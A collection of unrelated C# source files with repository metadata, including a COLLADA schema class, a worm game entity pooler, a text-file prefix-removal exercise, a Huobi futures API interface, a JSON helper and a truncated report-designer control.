aspnet-core/src/lso.Core/Authorization/PermissionChecker.cs
312
C#
using System; using System.Xml; using System.Xml.Serialization; using System.IO; namespace VoxelImporter.grendgine_collada { [System.SerializableAttribute()] [System.Xml.Serialization.XmlTypeAttribute(AnonymousType=true)] [System.Xml.Serialization.XmlRootAttribute(ElementName="samplerDEPTH", Namespace="http://www.collada.org/2005/11/COLLADASchema", IsNullable=true)] public partial class Grendgine_Collada_SamplerDEPTH : Grendgine_Collada_FX_Sampler_Common { } }
29.5625
147
0.82241
[ "MIT" ]
Syrapt0r/Protocol-18
Assets/VoxelImporter/Scripts/Editor/Library/Collada_Main/Collada_FX/Texturing/Grendgine_Collada_SamplerDEPTH.cs
473
C#
using Otter.Graphics; using Otter.Graphics.Drawables; using Otter.Utility.MonoGame; using WormGame.Core; using WormGame.Pooling; using WormGame.Static; namespace WormGame.Entities { /// @author Antti Harju /// @version v0.5 /// <summary> /// Custom pooler, manages worms. Uses a surface with autoclear off for efficient rendering. /// </summary> public class Worms : Pooler<Worm> { private readonly Surface surface; private readonly Pooler<WormModule> modules; /// <summary> /// Constructor. /// </summary> /// <param name="settings">Settings</param> /// <param name="scene">WormScene</param> public Worms(Settings settings, WormScene scene) : base(settings.wormAmount) { surface = settings.surface; modules = new Pooler<WormModule>(settings, scene, settings.moduleAmount); for (int i = 0; i < settings.wormAmount; i++) { Worm worm = new Worm(settings, scene, modules); worm.Disable(false); worm.Add(scene); pool[i] = worm; } } /// <summary> /// Clear surface and reset poolers. /// </summary> public override void Reset() { surface.Clear(); modules.Reset(); base.Reset(); } /// <summary> /// Spawn a worm. /// </summary> /// <param name="x">Horizontal grid position</param> /// <param name="y">Vertical grid position</param> /// <param name="length">Worm length</param> /// <param name="color">Worm color</param> /// <returns>Worm or null</returns> public Worm SpawnWorm(int x, int y, int length, Color color) { Worm worm = Enable(); if (worm == null) return null; return worm.Spawn(x, y, length, color); } } /// @author Antti Harju /// @version v0.5 /// <summary> /// Worm entity. Worms are modular entities; it consists of one Otter2d entity and several regular objects (modules). This way it can grow almost infinitely. /// </summary> public class Worm : PoolableEntity { public WormModule firstModule; private readonly Pooler<WormModule> modules; private readonly Collision collision; private readonly WormScene scene; private readonly Image eraser; private readonly Image head; private readonly float step; private readonly int halfSize; private readonly int size; private readonly bool disableWorms; private WormModule lastModule; private WormModule newModule; private Vector2 direction; private Vector2 target; private int LengthCap; private bool moving; private bool retry; private bool grow; /// <summary> /// Player. If this is null the worm is controlled by a simple AI. /// </summary> public Player Player { get; set; } /// <summary> /// Worm length. /// </summary> public int Length { get; private set; } /// <summary> /// Worm color. /// </summary> public Color Color { get { return head.Color; } } /// <summary> /// Worm direction. /// </summary> public Vector2 Direction { get { return direction; } set { if (Random.ValidateDirection(collision, firstModule.Target, size, value)) direction = value; } } /// <summary> /// Constructor. /// </summary> /// <param name="settings">Settings</param> /// <param name="scene">WormScene</param> /// <param name="modules">Worm module pooler</param> public Worm(Settings settings, WormScene scene, Pooler<WormModule> modules) { disableWorms = settings.disableWorms; this.scene = scene; this.modules = modules; collision = settings.collision; halfSize = settings.halfSize; size = settings.size; step = settings.step; eraser = Image.CreateRectangle(size, Colors.background); head = Image.CreateRectangle(size); eraser.CenterOrigin(); head.CenterOrigin(); Surface = settings.surface; AddGraphic(eraser); AddGraphic(head); } /// <summary> /// Spawn worm. /// </summary> /// <param name="x">Horizontal field position</param> /// <param name="y">Vertical field position</param> /// <param name="length">Worm length</param> /// <param name="color">Worm color</param> /// <returns>Worm or null</returns> public Worm Spawn(int x, int y, int length, Color color) { LengthCap = 1; Length = 1; moving = true; head.Color = color; firstModule = modules.Enable(); if (firstModule == null) { Disable(false); return null; } firstModule.Position = new Vector2(collision.EntityX(x), collision.EntityY(y)); firstModule.SetTarget(collision.EntityX(x), collision.EntityY(y)); eraser.X = -size; eraser.Y = -size; head.SetPosition(firstModule.Position); lastModule = firstModule; for (int i = 1; i < length; i++) Grow(); direction = Random.ValidDirection(collision, Position, size); collision.Set(this, x, y); return this; } /// <summary> /// Grow worm by adding one module to it. /// </summary> private void Grow() { newModule = modules.Enable(); if (newModule == null) return; newModule.Position = lastModule.Position; newModule.SetTarget(lastModule.Target); lastModule.ResetDirection(); lastModule.Next = newModule; lastModule = newModule; LengthCap++; } /// <summary> /// Update worm and its modules. Kind of messy. /// </summary> public void Move() { if (grow) Grow(); grow = false; moving = true; retry = false; Retry: target = firstModule.Target + Direction * size; int nextPosition = collision.GetType(target, true); if (nextPosition >= collision.fruit) // Move if next position is empty (4) or fruit (3). { if (Length < LengthCap) Length++; else collision.Set(null, lastModule.Target); if (nextPosition == collision.fruit) grow = true; firstModule.DirectionFollow(direction); firstModule.TargetFollow(target); collision.Set(this, target); } else { if (retry) // If stuck, turn into a block. { if (disableWorms) { scene.SpawnBlock(this); Disable(); } } else if (Player == null) // Find a new direction if not posessed by player. { direction = Random.ValidDirection(collision, firstModule.Target, size); retry = true; goto Retry; } moving = false; } Eraser(); } /// <summary> /// Setup eraser. /// </summary> private void Eraser() { eraser.SetPosition(lastModule.Position); eraser.Scale = 1; if (lastModule.Direction.X == 0) { if (lastModule.Direction.Y < 0) { eraser.SetOrigin(halfSize, size); eraser.Y += halfSize; } else { eraser.SetOrigin(halfSize, 0); eraser.Y -= halfSize; } eraser.ScaledHeight = 0; } else { if (lastModule.Direction.X < 0) { eraser.SetOrigin(size, halfSize); eraser.X += halfSize; } else { eraser.SetOrigin(0, halfSize); eraser.X -= halfSize; } eraser.ScaledWidth = 0; } } /// <summary> /// Update graphics. /// </summary> public new void Update() { if (moving) { firstModule.PositionFollow(); head.SetPosition(firstModule.Position); eraser.ScaledHeight += SimpleMath.Abs(lastModule.Direction.Y) * step; eraser.ScaledWidth += SimpleMath.Abs(lastModule.Direction.X) * step; } } /// <summary> /// Disable worm. /// </summary> /// <param name="recursive">Disable recursively. False only when disabling is done by pooler.</param> public override void Disable(bool recursive = true) { base.Disable(); if (recursive) firstModule.Disable(); moving = false; target.X = 0; target.Y = 0; } } /// @author Antti Harju /// @version 14.08.2020 /// <summary> /// WormModule. Worm has one these per length unit. /// </summary> public class WormModule : Poolable { private readonly Collision collision; private readonly float step; /// <summary> /// Next worm module. /// </summary> public WormModule Next { get; set; } /// <summary> /// Worm module position. /// </summary> public Vector2 Position { get { return position; } set { position = value; } } private Vector2 position; /// <summary> /// Worm module direction. /// </summary> public Vector2 Direction { get { return direction; } set { direction = value; } } private Vector2 direction; /// <summary> /// Worm module target. /// </summary> public Vector2 Target { get { return target; } set { target = value; } } private Vector2 target; /// <summary> /// Constructor. /// </summary> /// <param name="settings">Settings</param> public WormModule(Settings settings) { collision = settings.collision; step = settings.step; } /// <summary> /// Recursively update worms every modules direction. /// </summary> /// <param name="newDirection">New direction</param> public void DirectionFollow(Vector2 newDirection) { if (Next != null) Next.DirectionFollow(Direction); Direction = newDirection; } /// <summary> /// Recursively update worms every modules position. /// </summary> public void PositionFollow() { position += Direction * step; if (Next != null) Next.PositionFollow(); } /// <summary> /// Recursively update worm every modules target. /// </summary> /// <param name="newTarget">New target for worm body</param> public void TargetFollow(Vector2 newTarget) { if (Next != null) Next.TargetFollow(Target); Target = newTarget; } /// <summary> /// Reset worm module direction. /// </summary> public void ResetDirection() { direction.X = 0; direction.Y = 0; } /// <summary> /// Set worm module target. /// </summary> /// <param name="target">Target</param> public void SetTarget(Vector2 target) { SetTarget(target.X, target.Y); } /// <summary> /// Set worm module target. /// </summary> /// <param name="x">Horizontal target</param> /// <param name="y">Vertical target</param> public void SetTarget(float x, float y) { target.X = x; target.Y = y; } /// <summary> /// Disable module. /// </summary> /// <param name="recursive">Disable recursively. False only when disabling is done by pooler.</param> public override void Disable(bool recursive = true) { base.Disable(); if (recursive && Next != null) Next.Disable(); Next = null; if (collision.GetType(target) == collision.worm) collision.Set(null, target); ResetDirection(); position.X = 0; position.Y = 0; target.X = 0; target.Y = 0; } } }
29.571744
163
0.497387
[ "MIT" ]
anttiharju/worm-game
WormGame/Entities/Worms.cs
13,398
C#
using System; using System.IO; using System.Text; /* Write a program that deletes from a text file all words that start with the prefix test. Words contain only the symbols 0…9, a…z, A…Z, _. */ class PrefixTest { const string filePath = "..\\..\\sample.txt"; const string prefix = "test"; static void Main() { // Check sample.txt before running. string[] allLines = File.ReadAllLines(filePath); for (int i = 0; i < allLines.Length; i++) { RemoveTargetWords(ref allLines[i]); } File.WriteAllLines(filePath, allLines); } static void RemoveTargetWords(ref string line) { int index = 0; while (true) { if (index >= line.Length) { break; } index = line.IndexOf(prefix, index); if (index == -1) { break; } if (index == 0 || (!char.IsLetter(line[index - 1]) && !char.IsDigit(line[index - 1]) && line[index - 1] != '_')) { if (IsPrefix(line, index)) { int wordLength = GetWordLength(line, index); line = line.Remove(index, wordLength); } } index++; } } static int GetWordLength(string line, int index) { int wordLength = prefix.Length; int wordInd = index + prefix.Length; while (true) { if (wordInd >= line.Length || (!char.IsLetter(line[wordInd]) && !char.IsDigit(line[wordInd]) && line[wordInd] != '_')) { break; } wordInd++; wordLength++; } return wordLength; } static bool IsPrefix(string line, int index) { if (index + prefix.Length < line.Length && (char.IsLetter(line[index + prefix.Length]) || char.IsDigit(line[index + prefix.Length]) || line[index + prefix.Length] == '_')) { return true; } return false; } }
26.345679
96
0.482662
[ "MIT" ]
TsvetanRazsolkov/Telerik-Academy
Homeworks/Programming/C# Basics - Part II/08-TextFiles/11.PrefixTest/PrefixTest.cs
2,142
C#
using System; using System.Collections.Generic; using System.Text; namespace P05_BirthdayCelebrations { public interface IBirthable { public string BirthDay { get; set; } public bool IsInCurrentYear(string date) { string birthYear = this.BirthDay.Substring(this.BirthDay.Length - 4, 4); if (birthYear == date) { return true; } else { return false; } } public string PrintBirthDate() { return this.BirthDay; } } }
20.866667
95
0.501597
[ "MIT" ]
aalishov/SoftUni
04-CSharp-OOP-February-2020/Exercise-10-InterfacesAndAbstraction/P05-BirthdayCelebrations/IBirthable.cs
628
C#
using Umbraco.Core; using Umbraco.Core.Composing; namespace Umbraco.Web.Compose { /// <summary> /// Used to ensure that the public access data file is kept up to date properly /// </summary> [RuntimeLevel(MinLevel = RuntimeLevel.Run)] public sealed class PublicAccessComposer : ComponentComposer<PublicAccessComponent>, ICoreComposer { } }
28.153846
102
0.724044
[ "MIT" ]
0Neji/Umbraco-CMS
src/Umbraco.Web/Compose/PublicAccessComposer.cs
368
C#
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Microsoft.Practices.Prism.Mvvm; namespace GW2PAO.Modules.Teamspeak.ViewModels { public class ClientViewModel : BindableBase { private uint id; private string name; /// <summary> /// ID of the client /// </summary> public uint ID { get { return this.id; } set { this.SetProperty(ref this.id, value); } } /// <summary> /// Name of the client /// </summary> public string Name { get { return this.name; } set { this.SetProperty(ref this.name, value); } } /// <summary> /// Default constructor /// </summary> /// <param name="id">ID of the client</param> /// <param name="name">Name of the client</param> public ClientViewModel(uint id, string name) { this.ID = id; this.Name = name; } } }
23.844444
59
0.530289
[ "MIT" ]
Azaret/gw2pao
GW2PAO/Modules/Teamspeak/ViewModels/ClientViewModel.cs
1,075
C#
using System.Collections; using System.Collections.Generic; using UnityEngine; public class HandItems : MonoBehaviour { protected Inventory inventory; void Awake () { inventory = GameObject.FindObjectOfType<Inventory> (); } public InventoryItem GetActiveInventoryItem () { InventorySelector inventory = GetComponentInChildren<InventorySelector> (); if (inventory) return inventory.GetActiveItem (); return null; } public Transform GetDetachedActiveInventoryItem () { InventoryItem item = GetActiveInventoryItem (); if (item) { inventory.RemoveItemElement (item); return item.transform; } return null; } }
21.5
77
0.750388
[ "CC0-1.0" ]
AGM-GR/In-Game
Assets/Prefabs/HandsModels/Scripts/HandItems.cs
647
C#
using System; namespace OneTwoOne.Module.Notifications.Models { /// <summary> /// Can be used to store a simple message as notification data. /// </summary> [Serializable] public class MessageNotificationData : NotificationData { /// <summary> /// The message. /// </summary> public string Message { get => _message ?? (this[nameof(Message)] as string); set { this[nameof(Message)] = value; _message = value; } } private string _message; /// <summary> /// Needed for serialization. /// </summary> private MessageNotificationData() { } public MessageNotificationData(string message) { Message = message; } } }
22.410256
67
0.501144
[ "Apache-2.0" ]
microcapital/one2one
src/Modules/OneTwoOne.Module.Notifications/Models/MessageNotificationData.cs
876
C#
// Copyright 2018, Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. using Google.Api.Ads.Dfp.Lib; using Google.Api.Ads.Dfp.v201802; using System; namespace Google.Api.Ads.Dfp.Examples.CSharp.v201802 { /// <summary> /// This code example creates custom field options for a drop-down custom /// field. Once created, custom field options can be found under the options /// fields of the drop-down custom field and they cannot be deleted. To /// determine which custom fields exist, run GetAllCustomFields.cs. /// </summary> public class CreateCustomFieldOptions : SampleBase { /// <summary> /// Returns a description about the code example. /// </summary> public override string Description { get { return "This code example creates custom field options for a drop-down custom field. " + "Once created, custom field options can be found under the options fields of the " + "drop-down custom field and they cannot be deleted. To determine which custom " + "fields exist, run GetAllCustomFields.cs."; } } /// <summary> /// Main method, to run this code example as a standalone application. /// </summary> public static void Main() { CreateCustomFieldOptions codeExample = new CreateCustomFieldOptions(); Console.WriteLine(codeExample.Description); codeExample.Run(new DfpUser()); } /// <summary> /// Run the code example. /// </summary> public void Run(DfpUser user) { using (CustomFieldService customFieldService = (CustomFieldService) user.GetService(DfpService.v201802.CustomFieldService)) { // Set the ID of the drop-down custom field to create options for. long customFieldId = long.Parse(_T("INSERT_DROP_DOWN_CUSTOM_FIELD_ID_HERE")); // Create custom field options. CustomFieldOption customFieldOption1 = new CustomFieldOption(); customFieldOption1.displayName = "Approved"; customFieldOption1.customFieldId = customFieldId; CustomFieldOption customFieldOption2 = new CustomFieldOption(); customFieldOption2.displayName = "Unapproved"; customFieldOption2.customFieldId = customFieldId; try { // Add custom field options. CustomFieldOption[] customFieldOptions = customFieldService.createCustomFieldOptions(new CustomFieldOption[] { customFieldOption1, customFieldOption2 }); // Display results. if (customFieldOptions != null) { foreach (CustomFieldOption customFieldOption in customFieldOptions) { Console.WriteLine("Custom field option with ID \"{0}\" and name \"{1}\" was " + "created.", customFieldOption.id, customFieldOption.displayName); } } else { Console.WriteLine("No custom field options created."); } } catch (Exception e) { Console.WriteLine("Failed to create custom field options. Exception says \"{0}\"", e.Message); } } } } }
39.473118
96
0.665486
[ "Apache-2.0" ]
MajaGrubbe/googleads-dotnet-lib
examples/Dfp/CSharp/v201802/CustomFieldService/CreateCustomFieldOptions.cs
3,671
C#
using Microsoft.EntityFrameworkCore.Migrations; namespace OSA.Data.Migrations { public partial class AddedBookValueToSales : Migration { protected override void Up(MigrationBuilder migrationBuilder) { } protected override void Down(MigrationBuilder migrationBuilder) { } } }
18.888889
71
0.673529
[ "MIT" ]
krasizorbov/OSA
Data/OSA.Data/Migrations/20200331173151_AddedBookValueToSales.cs
342
C#
// Copyright © Tanner Gooding and Contributors. Licensed under the MIT License (MIT). See License.md in the repository root for more information. // Ported from um/DocObj.h in the Windows SDK for Windows 10.0.20348.0 // Original source is Copyright © Microsoft. All rights reserved. using NUnit.Framework; using System; using System.Runtime.InteropServices; using static TerraFX.Interop.Windows.IID; namespace TerraFX.Interop.Windows.UnitTests; /// <summary>Provides validation of the <see cref="IEnumOleDocumentViews" /> struct.</summary> public static unsafe partial class IEnumOleDocumentViewsTests { /// <summary>Validates that the <see cref="Guid" /> of the <see cref="IEnumOleDocumentViews" /> struct is correct.</summary> [Test] public static void GuidOfTest() { Assert.That(typeof(IEnumOleDocumentViews).GUID, Is.EqualTo(IID_IEnumOleDocumentViews)); } /// <summary>Validates that the <see cref="IEnumOleDocumentViews" /> struct is blittable.</summary> [Test] public static void IsBlittableTest() { Assert.That(Marshal.SizeOf<IEnumOleDocumentViews>(), Is.EqualTo(sizeof(IEnumOleDocumentViews))); } /// <summary>Validates that the <see cref="IEnumOleDocumentViews" /> struct has the right <see cref="LayoutKind" />.</summary> [Test] public static void IsLayoutSequentialTest() { Assert.That(typeof(IEnumOleDocumentViews).IsLayoutSequential, Is.True); } /// <summary>Validates that the <see cref="IEnumOleDocumentViews" /> struct has the correct size.</summary> [Test] public static void SizeOfTest() { if (Environment.Is64BitProcess) { Assert.That(sizeof(IEnumOleDocumentViews), Is.EqualTo(8)); } else { Assert.That(sizeof(IEnumOleDocumentViews), Is.EqualTo(4)); } } }
36.431373
145
0.698601
[ "MIT" ]
IngmarBitter/terrafx.interop.windows
tests/Interop/Windows/Windows/um/DocObj/IEnumOleDocumentViewsTests.cs
1,860
C#
/** * Copyright (c) 2001-2018 Mathew A. Nelson and Robocode contributors * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * https://robocode.sourceforge.io/license/epl-v10.html */ using System; using System.Runtime.Serialization; namespace Robocode.Exception { /// <summary> /// Throw this exception to stop robot /// </summary> /// <exclude/> [Serializable] public class RobotException : System.Exception { /// <summary> /// Default constructor /// </summary> public RobotException() { } /// <summary> /// Constructor with message /// </summary> public RobotException(string s) : base(s) { } /// <summary> /// Deserialization constructor /// </summary> protected RobotException(SerializationInfo info, StreamingContext context) : base(info, context) { } } } //doc
25.933333
85
0.575835
[ "Apache-2.0" ]
DarioRomano/robocode
plugins/dotnet/robocode.dotnet.api/src/robocode/exception/RobotException.cs
1,167
C#
namespace Manssiere.Core.DemoFlow { using System; using System.Collections.Generic; using System.Linq; using System.Windows.Controls; using Manssiere.Core.Graphics.Transition; /// <summary> /// The demo flow controlls the order of the effects /// </summary> public abstract class AbstractDemoFlow { #region Delegates public delegate void StateChangedEventHandler(AbstractDemoFlow sender, StateChangeEventArgs args); #endregion private readonly List<ControlDefinition> _controls = new List<ControlDefinition>(); private int _activeControl; /// <summary> /// Gets the state of the previous. /// </summary> /// <value>The state of the previous.</value> public ControlDefinition PreviousState { get { return _activeControl > 0 ? _controls[_activeControl - 1] : null; } } /// <summary> /// Gets the current scene. /// </summary> /// <value>The current scene.</value> public ControlDefinition CurrentScene { get { return _activeControl >= 0 && _activeControl < _controls.Count() ? _controls[_activeControl] : null; } } /// <summary> /// Show this effect without a transition. /// </summary> /// <typeparam name="T"></typeparam> /// <returns></returns> protected ControlDefinition Show<T>() where T : UserControl { var controlDefinition = new ControlDefinition(typeof(T), null, this); _controls.Add(controlDefinition); return new ControlDefinition(this); } /// <summary> /// Show this effect with a fadein. /// </summary> /// <typeparam name="T"></typeparam> /// <returns></returns> protected ControlDefinition FadeIn<T>() where T : UserControl { var controlDefinition = new ControlDefinition(typeof(T), typeof(FadeIn), this); _controls.Add(controlDefinition); return new ControlDefinition(this); } /// <summary> /// Show this effect with a fadein. /// </summary> /// <returns></returns> protected ControlDefinition FadeOut() { var controlDefinition = new ControlDefinition(null, typeof(FadeOut), this); _controls.Add(controlDefinition); return new ControlDefinition(this); } /// <summary> /// Global audio sync event. Register to this point to receive /// messages from the audio queue. /// </summary> public event StateChangedEventHandler StateChanged; /// <summary> /// Invokes the state changed. /// </summary> /// <param name="args">The <see cref="StateChangeEventArgs"/> instance containing the event data.</param> private void InvokeStateChanged(StateChangeEventArgs args) { var handler = StateChanged; if (handler != null) handler(this, args); } /// <summary> /// Moves to the next scene. /// </summary> public void NextScene() { if (_activeControl >= _controls.Count()) return; _activeControl++; if (_activeControl >= _controls.Count()) return; InvokeStateChanged(new StateChangeEventArgs(CurrentScene)); } /// <summary> /// Moves to the previouse. /// </summary> public void PreviousScene() { if (_activeControl <= 0) return; _activeControl--; // on the back state we don't send a transition, this speeds up skipping & eliminates errors. // we could do the same for 'manual' forward moving. Myabe we can use differentt keys for this. if (_activeControl < 0) return; InvokeStateChanged(new StateChangeEventArgs(new ControlDefinition(CurrentScene.ControlType, null, this))); } /// <summary> /// Gets a value indicating whether this instance has scenes. /// </summary> /// <value> /// <c>true</c> if this instance has scenes; otherwise, <c>false</c>. /// </value> public bool HasScenes { get { return _controls.Any(); } } #region Nested type: ControlDefinition public class ControlDefinition { /// <summary> /// Initializes a new instance of the <see cref="ControlDefinition"/> class. /// </summary> /// <param name="controlType">Type of the control.</param> /// <param name="transitionType">Type of the transition.</param> /// <param name="demoFlow">The demo flow.</param> public ControlDefinition(Type controlType, Type transitionType, AbstractDemoFlow demoFlow) { if (demoFlow == null) throw new ArgumentNullException("demoFlow"); DemoFlow = demoFlow; ControlType = controlType; TransitionType = transitionType; } /// <summary> /// Initializes a new instance of the <see cref="ControlDefinition"/> class. /// </summary> /// <param name="demoFlow">The demo flow.</param> public ControlDefinition(AbstractDemoFlow demoFlow) { DemoFlow = demoFlow; } /// <summary> /// Gets or sets the demo flow. /// </summary> /// <value>The demo flow.</value> private AbstractDemoFlow DemoFlow { get; set; } /// <summary> /// Gets or sets the type of the control. /// </summary> /// <value>The type of the control.</value> public Type ControlType { get; private set; } /// <summary> /// Gets or sets the type of the transition. /// </summary> /// <value>The type of the transition.</value> public Type TransitionType { get; private set; } /// <summary> /// Define the new effect to show /// </summary> /// <typeparam name="T"></typeparam> /// <returns></returns> public UsingDefinition TransitionTo<T>() { ControlType = typeof(T); DemoFlow._controls.Add(this); return new UsingDefinition(this); } #region Nested type: UsingDefinition public class UsingDefinition { private readonly ControlDefinition _controlDefinition; /// <summary> /// Initializes a new instance of the <see cref="UsingDefinition"/> class. /// </summary> /// <param name="controlDefinition">The control definition.</param> public UsingDefinition(ControlDefinition controlDefinition) { _controlDefinition = controlDefinition; } /// <summary> /// Define a transition between the effects. /// </summary> /// <typeparam name="T"></typeparam> /// <returns></returns> public ControlDefinition Using<T>() where T : ITransition { _controlDefinition.TransitionType = typeof(T); var controlDefinition = new ControlDefinition(_controlDefinition.DemoFlow); return controlDefinition; } } #endregion } #endregion } }
33.796537
120
0.541053
[ "Apache-2.0" ]
ernstnaezer/Manssiere
Source/Manssiere/Core/DemoFlow/Statemachine.cs
7,807
C#
using System; using System.Collections.Generic; using System.Windows; namespace ModernWpf.Toolkit.UI { public class ToolkitThemeDictionary { internal const string LightKey = "Light"; internal const string DarkKey = "Dark"; internal const string HighContrastKey = "HighContrast"; private static Dictionary<string, ResourceDictionary> _defaultThemeDictionaries = new(); public static void SetKey(ResourceDictionary themeDictionary, string key) { var baseThemeDictionary = GetToolkitThemeDictionary(key); themeDictionary.MergedDictionaries.Add(baseThemeDictionary); } private static ResourceDictionary GetToolkitThemeDictionary(string key) { if (!_defaultThemeDictionaries.TryGetValue(key, out ResourceDictionary dictionary)) { dictionary = new ResourceDictionary { Source = GetDefaultSource(key) }; _defaultThemeDictionaries[key] = dictionary; } return dictionary; } private static Uri GetDefaultSource(string theme) { return new Uri($"pack://application:,,,/ModernWpf.Toolkit.UI;component/ThemeResources/{theme}.xaml"); } public static void SetMergeOnto(ResourceDictionary themeDictionary, string key) { var baseThemeDictionary = GetToolkitThemeDictionary(key); baseThemeDictionary.MergedDictionaries.Add(themeDictionary); } } }
35.232558
113
0.667987
[ "MIT" ]
ModernWpf-Community/ModernWpfCommunityToolkit
ModernWpf.Toolkit.UI/ThemeResources/ToolkitThemeDictionary.cs
1,517
C#
using System.Threading; using System.Threading.Tasks; using CryptoExchange.Net.Objects; using Huobi.Net.Enums.Futures; using Huobi.Net.Objects.Models.Futures; namespace Huobi.Net.Interfaces.Clients.FuturesApi { /// <summary> /// Huobi trading endpoints, placing and managing orders. /// </summary> public interface IHuobiClientFuturesUsdtApiTrading { /// <summary> /// Gets a list of isolated trades for a specific symbol /// <para><a href="https://huobiapi.github.io/docs/usdt_swap/v1/en/#isolated-acquire-history-match-results" /></para> /// </summary> /// <param name="contractCode">The contract code to retrieve trades for</param> /// <param name="tradeType">Only return trades with specific trade types</param> /// <param name="daysLookback">Number of days to look back. Maximum range is 90 days and this will be used by default</param> /// <param name="page">Page</param> /// <param name="limit">Page limit (min 1, max 50, default 20)</param> /// <param name="ct">Cancellation token</param> /// <returns></returns> Task<WebCallResult<HuobiFuturesTradeResponse>> GetUserTradesIsolatedAsync(string contractCode, TradeType? tradeType = null, int daysLookback = 90, int? page = null, int? limit = null, CancellationToken ct = default); /// <summary> /// Gets a list of cross margin trades for a specific symbol /// <para><a href="https://huobiapi.github.io/docs/usdt_swap/v1/en/#cross-get-history-match-results" /></para> /// </summary> /// <param name="contractCode">The contract code to retrieve trades for</param> /// <param name="pair">The pair code to retrieve trades for</param> /// <param name="tradeType">Only return trades with specific trade types</param> /// <param name="daysLookback">Number of days to look back. Maximum range is 90 days and this will be used by default</param> /// <param name="page">Page</param> /// <param name="limit">Page limit (min 1, max 50, default 20)</param> /// <param name="ct">Cancellation token</param> /// <returns></returns> Task<WebCallResult<HuobiFuturesTradeResponse>> GetUserTradesCrossAsync(string? contractCode = null, string? pair = null, TradeType? tradeType = null, int daysLookback = 90, int? page = null, int? limit = null, CancellationToken ct = default); } }
56.930233
250
0.667484
[ "MIT" ]
GeorgeF0/Huobi.Net-1
Huobi.Net/Interfaces/Clients/FuturesApi/IHuobiClientFuturesUsdtApiTrading.cs
2,450
C#
using System; using System.Collections.Generic; using System.Text.Json; namespace Jom.Blog.Common.Helper { public class JsonHelper { /// <summary> /// 转换对象为JSON格式数据 /// </summary> /// <typeparam name="T">类</typeparam> /// <param name="obj">对象</param> /// <returns>字符格式的JSON数据</returns> public static string GetJSON<T>(object obj) { string result = String.Empty; try { JsonSerializer.Serialize(""); System.Runtime.Serialization.Json.DataContractJsonSerializer serializer = new System.Runtime.Serialization.Json.DataContractJsonSerializer(typeof(T)); using (System.IO.MemoryStream ms = new System.IO.MemoryStream()) { serializer.WriteObject(ms, obj); result = System.Text.Encoding.UTF8.GetString(ms.ToArray()); } } catch (Exception) { throw; } return result; } /// <summary> /// 转换List<T>的数据为JSON格式 /// </summary> /// <typeparam name="T">类</typeparam> /// <param name="vals">列表值</param> /// <returns>JSON格式数据</returns> public string JSON<T>(List<T> vals) { System.Text.StringBuilder st = new System.Text.StringBuilder(); try { System.Runtime.Serialization.Json.DataContractJsonSerializer s = new System.Runtime.Serialization.Json.DataContractJsonSerializer(typeof(T)); foreach (T city in vals) { using (System.IO.MemoryStream ms = new System.IO.MemoryStream()) { s.WriteObject(ms, city); st.Append(System.Text.Encoding.UTF8.GetString(ms.ToArray())); } } } catch (Exception) { } return st.ToString(); } /// <summary> /// JSON格式字符转换为T类型的对象 /// </summary> /// <typeparam name="T"></typeparam> /// <param name="jsonStr"></param> /// <returns></returns> public static T ParseFormByJson<T>(string jsonStr) { T obj = Activator.CreateInstance<T>(); using (System.IO.MemoryStream ms = new System.IO.MemoryStream(System.Text.Encoding.UTF8.GetBytes(jsonStr))) { System.Runtime.Serialization.Json.DataContractJsonSerializer serializer = new System.Runtime.Serialization.Json.DataContractJsonSerializer(typeof(T)); return (T)serializer.ReadObject(ms); } } public string JSON1<SendData>(List<SendData> vals) { System.Text.StringBuilder st = new System.Text.StringBuilder(); try { System.Runtime.Serialization.Json.DataContractJsonSerializer s = new System.Runtime.Serialization.Json.DataContractJsonSerializer(typeof(SendData)); foreach (SendData city in vals) { using (System.IO.MemoryStream ms = new System.IO.MemoryStream()) { s.WriteObject(ms, city); st.Append(System.Text.Encoding.UTF8.GetString(ms.ToArray())); } } } catch (Exception) { } return st.ToString(); } } }
34.361905
164
0.509978
[ "Apache-2.0" ]
atorzhang/Jom.Blog
Jom.Blog.Common/Helper/JsonHelper.cs
3,704
C#
// Copyright (c) 2014 AlphaSierraPapa for the SharpDevelop Team // // Permission is hereby granted, free of charge, to any person obtaining a copy of this // software and associated documentation files (the "Software"), to deal in the Software // without restriction, including without limitation the rights to use, copy, modify, merge, // publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons // to whom the Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all copies or // substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, // INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR // PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE // FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER // DEALINGS IN THE SOFTWARE. using System; using System.ComponentModel; using System.Drawing; using ICSharpCode.Reports.Addin.TypeProviders; namespace ICSharpCode.Reports.Addin { /// <summary> /// Description of ReportItem. /// </summary> /// [TypeDescriptionProvider(typeof(AbstractItemTypeProvider))] public abstract class AbstractItem:System.Windows.Forms.Control { private Color frameColor = Color.Black; protected AbstractItem() { InitializeComponent(); TypeDescriptor.AddProvider(new AbstractItemTypeProvider(), typeof(AbstractItem)); // VisibleInReport = true; } protected void DrawControl (Graphics graphics,Rectangle borderRectangle) { if (this.DrawBorder == true) { graphics.DrawRectangle(new Pen(this.frameColor),borderRectangle); } System.Windows.Forms.ControlPaint.DrawBorder3D(graphics, this.ClientRectangle, System.Windows.Forms.Border3DStyle.Etched); } #region Property's protected Rectangle DrawingRectangle { get { return new Rectangle(this.ClientRectangle.Left , this.ClientRectangle.Top , this.ClientRectangle.Width -1, this.ClientRectangle.Height -1); } } [Category("Border")] public Color FrameColor { get { return frameColor; } set { frameColor = value; this.Invalidate(); } } [Category("Border"), Description("Draw a Border around 